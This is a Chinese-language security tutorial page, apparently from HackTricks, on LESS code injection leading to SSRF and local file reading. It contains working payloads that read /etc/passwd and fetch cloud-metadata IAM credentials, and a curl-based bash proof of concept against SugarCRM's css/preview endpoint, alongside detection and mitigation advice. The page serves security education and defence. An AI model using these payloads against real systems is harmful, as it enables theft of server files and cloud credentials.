# LESS 代码注入导致 SSRF 和本地文件读取 {{#include ../banners/hacktricks-training.md}} ## 概述 LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 `@import` 指令。在编译过程中,LESS 引擎将 **获取 `@import`** 语句中引用的资源,并在使用 `(inline)` 选项时将其内容嵌入(“内联”)到生成的 CSS 中。 当一个应用程序将 **用户控制的输入** 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 **注入任意 LESS 代码**。通过滥用 `@import (inline)`,攻击者可以强迫服务器检索: * 通过 `file://` 协议的本地文件(信息泄露 / 本地文件包含)。 * 内部网络或云元数据服务上的远程资源(SSRF)。 这种技术已在现实世界的产品中出现,例如 **SugarCRM ≤ 14.0.0**(`/rest/v10/css/preview` 端点)。 ## 利用 1. 识别一个直接嵌入在 LESS 引擎处理的样式表字符串中的参数(例如,SugarCRM 中的 `?lm=`)。 2. 关闭当前语句并注入新指令。最常见的原语是: * `;` – 终止前一个声明。 * `}` – 关闭前一个块(如果需要)。 3. 使用 `@import (inline) '';` 读取任意资源。 4. 可选地在导入后注入一个 **标记**(`data:` URI),以便于从编译的 CSS 中提取获取的内容。 ### 本地文件读取 ``` 1; @import (inline) 'file:///etc/passwd'; @import (inline) 'data:text/plain,@@END@@'; // ``` `/etc/passwd` 的内容将在 HTTP 响应中出现在 `@@END@@` 标记之前。 ### SSRF – 云元数据 ``` 1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; @import (inline) 'data:text/plain,@@END@@'; // ``` ### 自动化 PoC (SugarCRM 示例) ```bash #!/usr/bin/env bash # Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd TARGET="$1" # Base URL of SugarCRM instance RESOURCE="$2" # file:// path or URL to fetch INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ sed -n 's/.*@@END@@\(.*\)/\1/p' ``` ## 检测 * 寻找包含未清理查询参数的动态生成的 `.less` 或 `.css` 响应。 * 在代码审查中,搜索传递给 LESS 渲染函数的构造,如 `"@media all { .preview { ... ${userInput} ... } }"`。 * 利用尝试通常包括 `@import`、`(inline)`、`file://`、`http://169.254.169.254` 等。 ## 缓解措施 * **不要** 将不可信的数据传递给 LESS 编译器。 * 如果需要动态值,正确地 **转义**/清理它们(例如,限制为数字标记,白名单)。 * 尽可能禁用使用 `(inline)` 导入的能力,或将允许的协议限制为 `https`。 * 保持依赖项更新 – SugarCRM 在版本 13.0.4 和 14.0.1 中修复了此问题。 ## 现实案例 | 产品 | 漏洞端点 | 影响 | |---------|--------------------|--------| | SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 未经身份验证的 SSRF 和本地文件读取 | ## 参考 * [SugarCRM ≤ 14.0.0 (css/preview) LESS 代码注入漏洞](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM 安全咨询 SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) * [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) {{#include ../banners/hacktricks-training.md}}